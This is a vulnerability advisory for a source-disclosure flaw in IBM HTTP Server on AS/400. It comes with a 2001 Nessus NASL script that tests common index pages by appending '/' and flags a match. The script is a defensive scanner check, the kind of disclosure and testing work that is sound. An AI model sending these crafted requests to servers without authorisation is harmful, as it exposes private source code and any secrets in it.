source: https://www.securityfocus.com/bid/3518/info
Due to an input validation error in IBM HTTP Server for the AS/400, it is possible for a remote attacker to make a specially web crafted web request which will display script source code.
If a '/' is appended to the end of a request for an existing script, then this will cause the script's source code to be displayed.
There is a potential that this issue may result in sensitive information being disclosed to attackers, depending on the contents of the script source code.
*It has been reported that the source of this issue is due to WebSphere Application server 3.5.4. However this has not yet been confirmed by the vendor.
s script was written by Felix Huber <huberfelix@webtopia.de>
#
# v. 1.00 (last update 08.11.01)
if(description)
{
script_id(?????????);
name["english"] = "IBM-HTTP-Server View Code";
script_name(english:name["english"]);
desc["english"] = "
IBM's HTTP Server on the AS/400 platform is vulnerable to an attack
that will show the source code of the page -- such as an .html or .jsp
page -- by attaching an '/' to the end of a URL.
Example:
http://www.foo.com/getsource.jsp/
Solution : Not yet
Risk factor : High";
script_description(english:desc["english"]);
summary["english"] = "IBM-HTTP-Server View Code";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2001 Felix Huber");
family["english"] = "CGI abuses";
script_family(english:family["english"]);
script_dependencie("find_service.nes");
script_dependencie("httpver.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
port = get_kb_item("Services/www");
if(!port)port = 80;
dir[0] = "/index.html";
dir[1] = "/index.htm";
dir[2] = "/index.jsp";
dir[3] = "/default.html";
dir[4] = "/default.htm";
dir[5] = "/default.jsp";
dir[6] = "/home.html";
dir[7] = "/home.htm";
dir[8] = "/home.jsp";
if(get_port_state(port))
{
for (i = 0; dir[i] ; i = i + 1)
{
soc = http_open_socket(port);
if(soc)
{
url = string(dir[i], "/");
req = http_get(item:url, port:port);
send(socket:soc, data:req);
r = recv(socket:soc, length:409600);
close(soc);
#display(r);
if("Server: IBM-HTTP-Server/1.0" >< r)
{
if("Content-Type: www/unknown" >< r)
{
#security_hole(port);
display("Security Hole detected\n");
exit(0);
}
}
}
}
}